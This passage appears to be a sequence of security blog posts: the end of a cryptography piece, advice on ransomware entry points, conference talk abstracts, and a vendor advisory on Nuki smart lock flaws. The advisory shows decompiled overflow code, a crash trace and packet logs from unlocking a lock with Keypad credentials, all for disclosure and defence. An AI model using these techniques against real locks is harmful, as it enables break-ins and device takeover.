  • Other isogeny protocols such as CSIDH and SQISign seem to be safe from this attack. This is because neither of these protocols have a known secret isogeny degree or the image of the torsion points in public data.
  • More generally, the appearance of such a brilliant attack on a cryptosystem that stood unbroken for a decade will shake confidence in constructing protocols using isogeny problems. From the experts, the message is that there’s a lot of research to do now, which can only lead to more exciting results.


Many thanks to Rémy Oudompheng for collaboratoring with me on this project and teaching me so much about higher-genus isogenies. My additional thanks to Rémy Oudompheng and Lorenz Panny for feedback on my description of the attack, and my collegues at NCC Group: Paul Bottinelli, Kevin Henry, Elena Bakos Lang and Thomas Pornin for their valuable feedback on an earlier draft of this blog post.

Top of the Pops: Three common ransomware entry techniques

by Michael Mathews

Ransomware has been a concern for everyone over the past several years because of its impact to organisations with the added pressure of extortion and regulatory involvement. However, the question always arises as to how we prevent it. Prevention is better than cure and hindsight is a virtue. This blog post aims to cover some high-level topics around ransomware groups, affiliates and their initial entry tactics.

Something to consider is the fact that ransomware has moved quickly into a Ransomware as a Service (RaaS) model, whereby affiliates are being provided all the weaponry and playbooks required to carry out their objectives. Given the simplicity of this approach, and the fact that the tactics are repeatable, there are a number of preventative measures that can be taken. Using this, we have devised this blog post to provide a short list of the top initial entry methods observed from the front line whilst responding to incidents over the past 6 months.


ProxyShell is the collective name used to describe the vulnerabilities, released between April and July 2021, affecting Microsoft Exchange. This vulnerability has been covered in detail elsewhere [1], therefore for conciseness, they can be summarised as:

  • ACL Bypass (CVE-2021-34473)
  • Privilege Escalation (CVE-2021-34523)
  • Remote Code Execution (CVE-2021-31207)

Due to the Exchange infrastructure being externally facing, affiliates cast their nets far and wide scanning for victims that have failed to patch and thus begin their attacks by using ProxyShell as their initial foothold.


  • KB5001779
  • KB5003435

Patching! Patches were released in May 2021 by Microsoft to mitigate the vulnerabilities in the form of Windows update codes:

Microsoft Exchange Online or Office365, as more commonly referred to, was not affected. SaaS is a well placed alternative and provides a barrier to your on-premises network (with appropriate security controls).

Externally Facing Infrastructure

Whilst we could classify Exchange under this term, it deserved its own spot given it is a firm favourite with ransomware groups (partly due to its success rate). In this category, we will cover another favourite, specifically referring to firewalls.

FireWalls and other perimeter security solutions have grown ever more complex and offer a wide variety of services outside of allowing and denying network traffic on the perimeter, most notably VPN’s.

A prime example of this is a vulnerability that was exploited in FortiGate devices, CVE-2018-13379. The vulnerability itself was directory traversal but, it did provide access to sensitive files which contained plaintext passwords. In turn, you have your recipe for disaster and a ransomware actors initial entry point. The username and password could be used to authenticate with the VPN and gives  threat actors a foothold on the internal network. However, this is just one example, on several occasions we have observed firewalls being targeting and successfully leveraged as an entry point into the network.


Once again patching, edge network devices are extremely vulnerable given their position within the network, the precise device you are using to keep threat actors at bay may in fact be the target in the first place. Ensure you have a robust patching policy, and your devices are updated frequently.

Second, multi factor authentication (MFA) is critical to mitigate standard username/password-based attacks. Although a vulnerability is exploited to gain access to credentials in this instance, phishing would have had the same impact if VPN credentials were targeted.

Exposed Remote Desktop (other VDI solutions)

An old favourite, the GUI interface of RDP. Whilst a great way to connect to a remote device, it does not really have a place on the internet. If you are seeing your failed login count hit numbers you cannot easily say, there may be an underlying problem that could be a host exposing RDP to the internet.

When paired with weak security controls, weak credentials (domain or local), no lockout policy, you are effectively providing a free shot to affiliates to take a gamble and gain access to your network. This is most prominent with development environments, setup with default settings, a weak local password and publicly available for ease of use. This is especially prevalent in cloud environments where build images inherit several security flaws through poor configuration but allow users to stand up infrastructure quickly.


Use a enterprise VPN solution with MFA configured to access internal resources from remote locations.

Treat development environments with care and ensure build images have appropriate security controls and protective monitoring in place.

Proactive Measures

Taking a proactive stance to ensure the integrity of your network is critical, it is never too late to begin to harden your defences or at least verify you are secured. However, if you need support or help to assess the scale of the issue, we can help:

  • Unsure if you are affected by any of these vulnerabilities or misconfigurations?
  • You have identified a host that is vulnerable is requires further investigation?
  • Concerned about what is lurking in the wider network?

If you have been impacted by any of these issues, or currently have an incident and would like support, please contact our Cyber Incident Response Team at +44 161 209 5148 / [email protected]

[1] https://www.ncsc.gov.ie/pdfs/MS_Proxyshell_060921.pdf`

NCC Group Research at Black Hat USA 2022 and DEF CON 30

3 August 2022 at 20:15

This year, NCC Group researchers will be presenting at least five presentations at Black Hat USA and DEF CON 30.

A guide to these presentations (abstracts, dates, and links) is included below. We will also update this post with any additional presentations as they are accepted and announced.

Virtually or in-person, we hope you will join us!

Black Hat USA 2022

  • RCE-as-a-Service: Lessons Learned from 5 Years of Real-World CI/CD Pipeline Compromise (Iain Smart & Viktor Gazdag, NCC Group)
  • MacAttack – A client/server framework with macro payloads for domain recon and initial access (Chris Nevin, NCC Group)
  • Responding to Microsoft 365 security reviews faster with Monkey365 (Juan Garrido, NCC Group)


  • Pursuing Phone Privacy Protection (Matt Nash, NCC Group & Mauricio Tavares, Privacy Test Driver)
  • Hidden Payloads in Cyber Security (Chantel Sims, NCC Group)

Black Hat USA 2022

RCE-as-a-Service: Lessons Learned from 5 Years of Real-World CI/CD Pipeline Compromise

Iain Smart & Viktor Gazdag, NCC Group

Black Hat USA 2022 – Briefings

August 10-11 2022

In the past 5 years, we’ve demonstrated countless supply chain attacks in production CI/CD pipelines for virtually every company we’ve tested, with several dozen successful compromises of targets ranging from small businesses to Fortune 500 companies across almost every market and industry.

In this presentation, we’ll explain why CI/CD pipelines are the most dangerous potential attack surface of your software supply chain. To do this, we’ll discuss the sorts of technologies we frequently encounter, how they’re used, and why they are the most highly privileged and valuable targets in your company’s entire infrastructure. We’ll then discuss specific examples (with demos!) of novel abuses of intended functionality in automated pipelines which allow us to turn the build pipelines from a simple developer utility into Remote Code Execution-as-a-Service.

Is code-signing leading your team into a false sense of security while you programmatically build someone else’s malware? Is it true that “any sufficiently advanced attacker is indistinguishable from one of your developers”? Have we critically compromised nearly every CI/CD pipeline we’ve ever touched? The answer to all of these questions is yes.

Fortunately, this presentation will not only teach you exactly how we did it and the common weaknesses we see in these environments, but also share key defensive takeaways that you can immediately apply to your own development environments.

MacAttack – A client/server framework with macro payloads for domain recon and initial access

Chris Nevin, NCC Group

Black Hat USA 2022 – Arsenal

August 10-11 2022

While using macros for malicious purposes is nothing new, this tool provides a suite of payloads ideal for initial recon and footholds that will not burn other methods of attack. MacAttack is a framework that generates payloads for use in Excel and includes client/server communication to perform dynamic alterations at runtime and collate received data. The payloads included in MacAttack cover a number of areas that have not been published before, including a new stealth technique for hiding payloads, methods for retrieving a user’s hash, and performing common recon/early stages attacks such as As-Rep roasting, retrieving documents, browser credentials, password spraying the domain, enumerating users, and domain fronting. The client/server communication and GUI will allow for dynamic checks such as only allowing a password spray to run once or once within a certain time period even if multiple targets enable the payload at the same time, and will provide a visual representation of the enumerated information. Part of the benefit of this tool is that this information is retrievable from a “zero foothold” position – a phishing campaign may be detected or blocked – but this does not burn any existing beacons and the potential rewards can be as great as multiple sets of credentials for users and relevant authentication portals. Microsoft are rolling out changes to macros that have still not been fully deployed by the time of the deadline – and research into these changes and impacts will be included in the discussion. It looks like these changes will only affect O365 to begin with and will include a “recommended policy” to implement.

Responding to Microsoft 365 security reviews faster with Monkey365

Juan Garrido, NCC Group

Black Hat USA 2022 – Arsenal

August 10-11 2022

Monkey365 is a multi-threaded plugin-based PowerShell module to help assess the security posture of not only Microsoft 365, but also Azure subscriptions and Azure Active Directory. It contains multiple controls and currently supports CIS, HIPAA, GDPR, as well as custom security rules.


Pursuing Phone Privacy Protection

Matt Nash (NCC Group) & Mauricio Tavares (Privacy Test Driver)

DEF CON 30 – Crypto & Privacy Village

August 11-14 2022

New year, new challenges to privacy.

You are in a public event, or a coffee shop. Did a notification just tell you about a sale nearby? Why is this app showing ads for the car you rented and told your friend about? Is Santa Claus the only one who knows if you’ve been naughty or nice? “Maybe if I run a VPN I will be safe.” This is wishful thinking at best; it only helps to deal with some privacy attacks. You see, smart phones are little snitches. By design.

They listen to you. They know where you go, what you purchase, and who you interact with. And they never sleep or take vacations.

You can fight back. You can regain (at least some) control of your privacy! But it will not be done buying some magic software and pressing the EZ button. Some assembly is required.

If you are willing to roll up your sleeves and take your brave pill, join us in this workshop as we show how to build your Android phone with the balance between privacy, security, and convenience that fits your comfort level.

Attendees will come out of this workshop with a privacy mindset:

  • Appreciating the privacy and security implications of using a smart phone in general — specifically consumer Android devices.
  • Knowing how to achieve different levels of privacy in their phones and understanding the costs and benefits of each approach.
  • Understanding what “attribution of traffic” tying IP to a person through a VPN is.Finding out which apps are privacy-respecting, and how to contain untrusted apps that may be a “must have”.

Who should take this workshop:

  • Privacy-conscious smartphone users who would like to understand and control what their phones share about them.

Audience Skill Level:

  • Intermediate
  • Entry level, if you have studied the instructions and are prepared to hit the ground running. Or if your team is willing to help you out. We will NOT be able to wait for you to install 374 OS updates, download and install VirtualBox, and then build a Linux VM.

Attendees’ requirements

  • An understanding of basic Linux commands.
  • Be comfortable with the idea of installing an aftermarket firmware/OS (“ROM”) on a mobile device. Soft/hard “bricking” is a possibility, so having a spare phone may be a good investment.
  • Follow additional instructions provided on the GitHub repository (https://github.com/matthewnash/building-phone-privacy/wiki) ahead of the workshop.

What students should bring (or do beforehand)

  • An Android phone that has been configured per the GitHub instructions.
  • Alternatively, a laptop with Android Studio installed.
  • A learning attitude.

Hidden Payloads in Cyber Security

Chantel Sims, NCC Group

Black Hat USA 2022 – Girls Hack Village

August 10-11 2022

“Hidden Payloads in Cyber Security”

Cybersecurity has a diversity problem. We all know this. Executives and managers believe that filling job roles and enacting diversity initiatives is where the work begins and ends. Even though we are aware of this diversity problem, we’ve only just begun to start the conversation of how “bias” directly impacts hiring practices and cyber operations themselves. Our lack of observation of our bias’ has also made most of us blind to the bias that exist within our security tools and operations. To be fair, social engineering is the one, if not only, place where we bend and manipulate bias to our will. But I believe we should do the same within our operation’s as a whole. In 2018, Joy Buolamwini’s began to research and call out algorithmic bias and its impacts. Through Joy and Timnit Gebru’s research, the tech community has finally started to acknowledge the real world implications of biased algorithms. As humans, we tend to “believe what we think”. It’s not common practice for most humans to question or challenge their thought bubbles. Most humans are aware that a thought doesn’t necessarily equate to being factual in reality but
the action of diving deeper seems to be staved off by our ego’s and credulous brains. I’d argue that our ‘inaction’ to dive deeper into our own personal bias’ is a precursor to writing biased code or tools and affects cyber operations in general which therefore contributes to a continuing cycle of cyber operations embedded with bias.

Technical Advisory – Multiple vulnerabilities in Nuki smart locks (CVE-2022-32509, CVE-2022-32504, CVE-2022-32502, CVE-2022-32507, CVE-2022-32503, CVE-2022-32510, CVE-2022-32506, CVE-2022-32508, CVE-2022-32505)

25 July 2022 at 08:30

The following vulnerabilities were found as part of a research project looking at the state of security of the different Nuki (smart lock) products. The main goal was to look for vulnerabilities which could affect to the availability, integrity or confidentiality of the different devices, from hardware to software.

Eleven vulnerabilities were discovered. Below are links to the associated technical advisories:

Technical Advisories:

Lack of Certificate Validation on TLS Communications (CVE-2022-32509)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: CVE-2022-32509

Risk: 8.5 (CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:P/A:N)


No SSL/TLS certificate validation was implemented on the Nuki Smart Lock and Bridge devices.


Without SSL/TLS certificate validation, it is possible to perform man-in-the-middle attacks to access network traffic sent over an encrypted channel.


It was possible to set up an intercepting proxy to capture, analyse and modify communications between the affected device and the supporting web services. In the picture below, WebSocket traffic can be observed, in which messages are sent to and received from the Keyturner device:

Keyturner WebSocket traffic captured


Implement SSL/TLS certificate validation for every function that uses network communication.

Stack Buffer Overflow Parsing JSON Responses (CVE-2022-32504)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: CVE-2022-32504

Risk: 8.8 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


The code that implements the parsing of the JSON objects received from the SSE WebSocket leads to a stack buffer overflow.


A skilled attacker would be able to exploit this to gain arbitrary code execution on the device.


The code shown in the snippet below leads to a buffer overflow. It should be noted that the C code below is an interpretation based on firmware decompilation. Therefore, the structure, pointers, variables, etc. can differ from the original one.

void ws_parse_response()
  // stack variables
  char name_value[40];
  unsigned __int8 item_buff[1024]; // destination buffer (overflowed)
  json_list json_obj;
  unsigned int v22[3]; 
  _BYTE *v23;

  packet_val_len = 0;
  byte_2000B007 = 1;

  num_json_items = json_parser(v22, ws_pkt_received, ws_pkt_recv_size, &json_obj, 0x20u);
  if ( num_json_items >= 0 )
    for ( i = 0; i < num_json_items; ++i )
      if ( !json_obj_strcmp(ws_pkt_received, &json_obj.obj[i], "name") ) // name item
        sprintf( item_buff, "%.*s", json_obj.obj[i + 1].end - json_obj.obj[i + 1].ini,
          &ws_pkt_received[json_obj.obj[i + 1].ini]); // overflow
        strncpy(name_value, item_buff, 40);
      if ( !json_obj_strcmp(ws_pkt_received, &json_obj.obj[i], "id") ) // id item – line 37
        sprintf( item_buff, "%.*s", json_obj.obj[i + 1].end - json_obj.obj[i + 1].ini,
          &ws_pkt_received[json_obj.obj[i + 1].ini]); // overflow – line 40
        strncpy(v18, item_buff, 32);
        dword_2000AD7C = sub_768BC(v18, 0, 10);
    print_log("SSE: received %s\r\n", name_value);
  • The code above is parsing the SSE WebSocket JSON packet received.
  • The code looks for the “id” key. (line: 37)
  • The selected key’s value (e.g. “id”) is copied into the stack variable “item_buff” (1024 bytes) through the sprintf() function. (line: 40)
  • The variable is overflowed since no size checks are implemented.

The snippet of code below shows how the stack buffer overflow was triggered and the PC (Program Counter) ARM register overwritten:

[*] ==========================
[*] Emulating the ws_parse_response() function
>>> Function: ['00069D08 (ws_parse_response)'] (lr:0x0)
>>> Function: ['00075A06 (memset)'] (lr:0x69d21)
>>> Function: ['00075A06 (memset)'] (lr:0x69d31)
>>> Function: ['00075A06 (memset)'] (lr:0x69d41)
>>> Function: ['000698EA (sub_698EA)'] (lr:0x69dbb)
>>> Function: ['000695B4 (json_parser)'] (lr:0x69dd7)
>>> Function: ['000759D4 (sub_759D4)'] (lr:0x7701f)
>>> Function: ['0007652E (strncpy_)'] (lr:0x69edb)
>>> Function: ['000768BC (sub_768BC)'] (lr:0x69ee9)
>>> Function: ['000767A4 (sub_767A4)'] (lr:0x768db)
>>> Function: ['0007588C (sub_7588C)'] (lr:0x767bf)
>>> Function: ['00069926 (print_log)'] (lr:0x69f1f)
>>> Function: ['00076580 (sub_76580)'] (lr:0x69f27)
>>> Function: ['00069926 (print_log)'] (lr:0x69f33)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x69f3f)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a0bb)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a2a9)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a395)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a7f9)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a9a9)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6b079)
>>> Tracing basic block at 0x58585858, block size = 0x4
ERROR: Invalid memory fetch (UC_ERR_FETCH_UNMAPPED)
>>> r0 = 0xffffffb5
>>> r1 = 0xc9b85
>>> r2 = 0x1
>>> r3 = 0x2000ad68
>>> sp = 0x20005300
>>> pc = 0x58585858

It should be noted that all sprintf() functions implemented within the vulnerable function could lead to stack buffer overflows since the  “item_buff” stack variable’s size is not checked.

It should also be mentioned that this vulnerability in combination with the “Lack of Certificate Validation on TLS Communications” greatly increases the risk of both vulnerabilities. An attacker could carry out a man-in-the-middle attack between the device and the router in order to tamper with the WebSocket packets, trigger the buffer overflow vulnerability and finally take control of the device.

Additionally, if a malicious user could get access to the Nuki’s SSE servers this could be used to take control of all the affected devices.


Ensure that the length of the data copied into an object is checked in order to avoid exceeding the size of its destination or the desired value. Always specify the size of the destination buffer for any memory copy operation to prevent overflowing it. This can be achieved by using the snprintf() function instead of the sprintf() function.

All code should be compiled with standard defensive measures in place. Stack cookies could be enabled to prevent stack buffer overflows.

Stack Buffer Overflow Parsing HTTP Parameters (CVE-2022-32502)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: CVE-2022-32502

Risk: 8.0 (CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)


The code in charge of the HTTP API parameter parsing logic leads to a stack buffer overflow.


A skilled attacker could be able to exploit this to gain arbitrary code execution.


Stack overflows can be exploited by overwriting a function return address thereby gaining control of execution. In the context of the affected device, the lack of common protections against stack manipulation, such as stack canaries or ASLR, makes it easier to successfully exploit this vulnerability.

The following C pseudocode (obtained from decompiling the firmware) shows how the HTTP API parses the parameters received when the timestamp parameter is supplied:

int sub_FDA8(char *http_ts_param, int http_rnr_param, char *http_token_param, char *http_hash_param)
  char v22[64]; // [sp+28h] [bp-D8h]
  char string_to_hash[30]; // [sp+68h] [bp-98h]

  sprintf(string_to_hash, "%s,%d,%s", http_ts_param, http_rnr_param, http_token_param);
  v5 = sub_45AAA(string_to_hash);
  sub_12B00((int)string_to_hash, v5, (int)v21);
  sub_214BC(v22, (int)v21);

The first line of code to be executed concatenates the timestamp parameter with the random number and clear-text token. This corresponds to how the hashed token is calculated, according to the HTTP API documentation[1] (section 3.2.1). This is done with a call to sprint(), that copies the contents of said parameters to the stack-based buffer “string_to_hash”. However, this call if performed without validating parameter size, leading to an overflow.

Sending a large payload in the “ts” parameter is enough to crash the device, causing a restart. Upon inspection, it was confirmed that the return address was overwritten:

Return address overwritten abusing the “ts” parameter

It is important to notice that this vulnerability is exploitable from within the LAN network, without the need of a valid token, as long as the HTTP API is enabled.

[1] Nuki HTTP API documentation: https://developer.nuki.io/page/nuki-bridge-http-api-1-13/4/#heading–token


Ensure that the length of the data copied into an object is checked in order to avoid exceeding the size of its destination or the desired value. Always specify the size of the destination buffer for any memory copy operation to prevent overflowing it. This can be achieved by using the snprintf() function instead of the sprintf() function.

All code should be compiled with standard defensive measures in place. Stack cookies could be enabled to prevent stack buffer overflows.

Broken Access Controls in the BLE Protocol (CVE-2022-32507)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: CVE-2022-32507

Risk: 8.0 (CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)


Insufficient access controls were found in the Bluetooth Low Energy (BLE) Nuki API implementation.


The lack of access controls allowed users to send high-privileged commands to the Keyturner for which they should not have permission.


It was found that some BLE commands, which should have been designed to be only called from privileged accounts (such as the mobile application) could also be called from unprivileged accounts (such as the Keypad). This demonstrates that no access controls were implemented for the different BLE commands between the different accounts.

Therefore, the Keypad authentication (auth-id and shared-key) could be used to call the “Lock Action”[1] command, which does not require the Keypad code, instead of the “Keypad Action”[2] command. This would allow an attacker with access to the Keypad auth-id and shared-key to carry out actions such as opening the Keyturner without knowing the Keypad code.

Similarly, an attacker could also try to change the Keyturner admin security PIN from an unprivileged user account by using its authentication information and calling the BLE command “Set Security PIN”.

The snippets of code below show how it was possible to use the Keypad authentication data (auth-id and shared-key) to call the Lock Action command and open the Keyturner without knowing the Keypad code.

Keypad authentication data, which can be extracted by using the exposed JTAG/SWD interfaces:

# Auth ID   # Name (Nuki Keypad)
0x000f4e00: 00000000e15c3400034e756b69204b6579706164000000000000000000000000
0x000f4e20: 0000000000000000005c7927013dbcac2f3f91e2[REDACTED]2ff141a6afa51a // shared key
0x000f4e40: 84dc6e49a016fee464e5070101040a08e5070101040a08000000000000000000 // (32 bytes)

A python script was developed to perform the “Lock Action” command with the Keypad auth data:

$ python keyturner_open.py 
[*] == Nuki Keyturner Protocol == [*]
[*] SHARED_KEY: 5c7927013dbcac2f3f91e2[REDACTED]2ff141a6afa51a84dc6e49a016fee464
[*] PACKET 1 (keyturner > keypad)
[*] ========================================
[*] packet: 0fb7d032f45f7252738500eb19e2[REDACTED]96f771f821c80b26752343329a5ddc8b2ef3bdb414
[*] nonce:  0fb7d032f45f7252738500eb19e2bc546fac8d1f057816d8
[*] auth_id:  e15c3400
[*] len:  1a00
[*] ##########
[*] Plaintext: e15c340001000400752d
[*] auth_id:   e15c3400
[*] command:   Request Data (0100)
[*] payload:   Challenge (0400)
[*] crc:       752d
[*] ========================================
[*] PACKET 2 (keypad > keyturner)
[*] ========================================
[*] packet: 4f9ab198f1c0b011f3d17b327d8160[REDACTED]2279658a4939a1578c088ceafa1c3a56f32be2f08
[*] nonce:  4f9ab198f1c0b011f3d17b327d8160506c146bc3535cfbb9
[*] auth_id:  e15c3400
[*] len:  3800
[*] ##########
[*] Plaintext: e15c34000400e33eeb8c4f5a9df1af6ecce7edacd28b0c92149c665b543b50b2fc49630fd4c24c28
[*] auth_id:   e15c3400
[*] command:   Challenge (0400)
[*] payload:   e33eeb8c4f5a9df1af6ecce7edacd28b0c92149c665b543b50b2fc49630fd4c2
[*] crc:       4c28
[*] ========================================
[*] PACKET 3 (keyturner > keypad)
[*] ========================================
[*] packet: 14b78e7ddb716c95e988d655ad245b9[REDACTED]4a8c0948670186b389615e3c01f9756232b8835ce
[*] nonce:  14b78e7ddb716c95e988d655ad245b99f1c8292cd1066f93
[*] auth_id:  e15c3400
[*] len:  3e00
[*] ##########
[*] Plaintext: e15c34000d00010000000000e33eeb8c4f5a9df1af6ecce7edacd28b0c92149[REDACTED]245ec
[*] auth_id:   e15c3400
[*] command:   Lock Action (0d00)
[*] payload:   010000000000e33eeb8c4f5a9df1af6ecce7edacd28b0c92149c665b543b50b2fc49630fd4c2
[*] crc:       45ec
[*] ========================================
[*] PACKET 4 (keypad > keyturner)
[*] ========================================
[*] packet: 4e9887b2e14fee9070ceec172b1f1fd99[REDACTED]4c26bdcbc2df6cfcddc24ff9941fdcea8f378
[*] nonce:  4e9887b2e14fee9070ceec172b1f1fd99eb4e9e52b60081d
[*] auth_id:  e15c3400
[*] len:  1900
[*] ##########
[*] Plaintext: e15c34000e0001f3a4
[*] auth_id:   e15c3400
[*] command:   Status (0e00)
[*] payload:   01
[*] crc:       f3a4
[*] ========================================
  • Packet 1: The script requests a challenge – Request Data (0100) + Challenge (0400)
  • Packet 2: Keyturner replies with a valid challenge – Challenge (0400)
  • Packet 3: The script requests the “Lock Action” appending the valid challenge – Lock Action (0d00)
  • Packet 4: Keyturner replies with the “Status (0e00)” message – Unlocked successfully

It should be mentioned that this vulnerability in combination with the “JTAG Exposed via Test Points” exposes the Nuki environment to considerable risk as the Keypad is usually installed on an untrusted place. Hence, an attacker could leverage these vulnerabilities to open the Keyturner without knowing the Keypad code.

[1] https://developer.nuki.io/page/nuki-smart-lock-api-2/2/#heading–lock-action

[2] https://developer.nuki.io/page/nuki-smart-lock-api-2/2/#heading–keypad-action


Access controls must be implemented for the different accounts and BLE commands.

Similarly, ensure that the access controls, which should be applied to each function, are fully understood and are implemented correctly. [1][2]

[1] OWASP Guidance: https://owasp.org/www-community/Broken_Access_Control

[2] OWASP Top 10 – Broken Access Control: https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control

JTAG Exposed via Test Points (CVE-2022-32503)

Vendor: Nuki (https://nuki.io)Systems and Versions affected:
- Nuki Keypad (<1.9.2)
- Nuki Fob (<1.8.1)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: CVE-2022-32503
Risk: 7.6 (CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)


JTAG hardware interfaces were exposed on the affected devices.


An attacker with physical access to the circuit board could use the JTAG’s boundary scan feature to control the execution of code on the processor and debug the firmware, as well as read or alter the content of the internal and external flash memory.


The circuit board exposes a JTAG interface on PCB through-hole test points, as shown below:

Keypad JTAG exposed and labelled interface

This interface was next to a set of labels that clearly indicated each pad functionality, making it easier to take advantage of.

The snippet of code below shows the ARM registers once connected into the JTAG interface:

> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x40030000
(3) r3 (/32): 0x00000005
(4) r4 (/32): 0x40090000
(5) r5 (/32): 0x40030000
(6) r6 (/32): 0x00000009
(7) r7 (/32): 0x50001000
(8) r8 (/32): 0x40091000
(9) r9 (/32): 0x40090000
(10) r10 (/32): 0x00000001
(11) r11 (/32): 0x40031000
(12) r12 (/32): 0xffffffff
(13) sp (/32): 0x11001ff0
(14) lr (/32): 0x10000eb1
(15) pc (/32): 0x10000e62
(16) xPSR (/32): 0x61000000
(17) msp (/32): 0x11001ff0
(18) psp (/32): 0x00000000
(20) primask (/1): 0x00
(21) basepri (/8): 0x00
(22) faultmask (/1): 0x00
(23) control (/3): 0x00
===== Cortex-M DWT registers

An attacker with physical access to any of these ports may be able to connect to the device and bypass both hardware and software security protections. JTAG debug may be usable to circumvent software security mechanisms, as well as to obtain the full firmware stored in the device unencrypted.

The severity of this issue has been raised to high, as the Keypad device is exposed outside of the secured area, making it easier for an attacker to access the device and its internal components.


NCC Group recommends disabling JTAG using the appropriate means described in the point 5.1 of the “Technical Reference Manual for the CC26x0 MCU”[1].

[1] https://www.ti.com/lit/ug/swcu117i/swcu117i.pdf?ts=1647438101993  

Sensitive Information Sent Over an Unencrypted Channel (CVE-2022-32510)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: CVE-2022-32510

Risk: 7.1 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)


The HTTP API exposed by the Bridge used an unencrypted channel to provide an administrative interface.


Communications between a client and the HTTP API could be passively collected by any other device with access to the local network.


By design[1], a client authenticates to the API using a parameter named “token” supplied in GET requests, as shown below:

GET /info?token=[REDACTED] HTTP/1.1
User-Agent: curl/7.68.0
Accept: */*
Connection: close

This token can be easily eavesdropped by a malicious actor to impersonate a legitimate user and gain access to the full set of API endpoints.

It should also be noted that the API provides a method to obfuscate the authentication token along with other parameters. The documentation states that a SHA256 hash is calculated consisting of the concatenation of the timestamp, a random four-digit number, and the plaintext token. The request above would be replaced by something similar to the one below:

GET /info?ts=2022-01-19T11:24:01Z&rnr=1245&hash=4b110d8fa77359c7814e0e73d19d94b8e57c7ea9de3d996fce9d6dfdf106f610 HTTP/1.1
User-Agent: curl/7.68.0
Accept: */*
Connection: close

This protection provided by the mentioned method is not enough to prevent the leak of the authentication token. All the other variables used to calculate the hash are known to the attacker and knowing the token length and its character set, it would be possible to crack it with little effort.

As a proof of concept, the hash used in the previous request was cracked using hashcat[2] at 224 a MH/s rate in less than four minutes:

Hashed token cracked

[1] Nuki Bridge HTTP API Documentation: https://developer.nuki.io/page/nuki-bridge-http-api-1-13/4/#heading–token

[2] Hashcat Cracking Tool: https://hashcat.net/hashcat/


HTTP connections should be replaced with HTTPS using TLS 1.2/1.3.

Additionaly, no sensitive information, such as the authentication token, should ever be sent in an HTTP GET parameter. Consider using POST messages or adding an authentication cookie.

SWD Interfaces Exposed via Test Points (CVE-2022-32506)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: CVE-2022-32506

Risk: 6.4 (CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)


SWD hardware interfaces were exposed on the affected devices.


An attacker with physical access to the circuit board could use the SWD debug features to control the execution of code on the processor and debug the firmware, as well as read or alter the content of the internal and external flash memory.


The system-on-a-chip (SoC) exposes a SWD interface on the tests points shown below:

SWD test points exposed

The SWD interface pinout is documented in the SoC datasheet[1] (section 6.3, page 130; section 6.5, page 162) and  was exploited using the following configuration:

Functionality GPIO name Pin number

An attacker with physical access to this interface would be able to connect to the device and bypass both hardware and software security protections. SWD debug could be used to circumvent software security mechanisms, as well as obtain the full unencrypted firmware stored in the device.

The snippet of code below shows how it was possible to interact with the SoC, to display the ARM registers:

===== Cortex-M DWT registers
> halt
target halted due to debug-request, current mode: Thread 
xPSR: 0x61000000 pc: 0x0002d652 msp: 0x20002100
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0xffffffff
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x2000567c
(4) r4 (/32): 0x20005674
(5) r5 (/32): 0x2000e064
(6) r6 (/32): 0xffffffff
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x20005108
(9) r9 (/32): 0x20005118
(10) r10 (/32): 0x20006624
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x20002100
(14) lr (/32): 0x00025413
(15) pc (/32): 0x0002d652
